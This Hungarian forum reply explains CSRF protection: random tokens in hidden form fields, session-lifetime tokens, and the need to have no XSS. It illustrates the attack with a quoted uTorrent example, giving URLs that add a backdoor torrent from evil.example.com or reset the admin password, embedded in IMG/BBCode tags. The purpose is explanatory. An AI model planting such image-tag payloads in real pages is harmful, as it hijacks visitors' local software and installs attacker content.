Hirdetés

Keresés

Új hozzászólás Aktív témák

  • sztanozs

    veterán

    válasz bandi0000 #12731 üzenetére

    A CSRF védelem lényege, hogy minden hívásnál random (vagy csak nagyon rövid ideig - egy oldal életciklusáig - él). A tokent nem cookie-ban vagy más lokális store-ban tároljuk, hanem a lap kódjában kerül eltárolásban (legtöbbször hidden form field-ben, mert lekérésnél vissza kell adni a szervernek). A védelem lényege az, hogy a felhasználó nevében nem lehet olyan kérést indítani, aminek a "forrása" nem a kérdéses weboldal.

    Illetve a fenti megoldás a "secure" mód - de ez elcseszi a vissza-gomb működését ("CSRF Failure"-t hibát generál), legtöbbször - alacsonyabb biztonsági szinthez, session-élettartamú CSRF-tokent generálnak.

    Ennek a védelemnek egyébként az a feltétele, hogy atámadó ne tudja megszerezni a session/csrf token-t (azaz ne legyen az alkalmazásban XSS sebezhetőség - vagy az alkalmazás csrf token segítségével ezonosítsa a felhasználót ne csak session cookie és/vagy kliens ip alapján).

    Jó példa erre (wikiből) az alábbi uTorrent sebezhetőség:
    Torrent letöltés hozzáadása:
    http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
    uTorrent administrator password megváltoztatása
    http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

    CSRF támadó kód simán kivitelezhető pl egy IMG tag hozzáadásával, ami a sebezhető címre mutat (BBCode):
    [img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]
    vagy ide a PH-ra:
    [IMG:http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent][/IMG]

Új hozzászólás Aktív témák